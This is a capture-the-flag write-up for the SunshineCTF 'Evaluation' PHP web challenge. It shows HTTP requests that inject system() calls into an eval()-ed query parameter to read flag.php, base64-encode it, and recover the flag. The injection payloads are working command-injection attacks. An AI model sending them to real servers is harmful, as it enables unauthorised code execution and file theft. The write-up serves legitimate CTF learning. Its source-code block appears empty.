# ▼▼▼Evaluation(Web:50pt)		376/780=48.2％▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
```Evaluate your life.How are you doing, and are you doing the best you can possibly do?Look deeper within yourself, beyond the obvious.Look at the source of it all.
Also, here's a PHP challenge.
http://evaluation.web1.sunshinectf.org
Author: hackucf_levi
Update 2018-04-06 01:15 UTC: Back online!```
```
```
---
**【Confirm source code】**
`eval()` will execute arbitrary source code!!
---
**【TRY1】**
```GET /?hello=system(%22cat%20flag.php%22) HTTP/1.1Host: evaluation.web1.sunshinectf.org```
↓
```string(2) "?>"```
↓
failed!!
---
**【TRY2】**
```GET /?hello=system(%22cat%20flag.php|base64%22) HTTP/1.1Host: evaluation.web1.sunshinectf.org```
↓
`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07 Cgo/Pg== string(8) "Cgo/Pg=="`
↓
`PD9waHAgCiRmbGFnID0iTm9wZSI7CgovLyBzdW57YzBtbTRuRF8xTmozY3RpMG5faTVfRTRzWX07`
↓Decode with base64
```
```
↓
`sun{c0mm4nD_1Nj3cti0n_i5_E4sY}`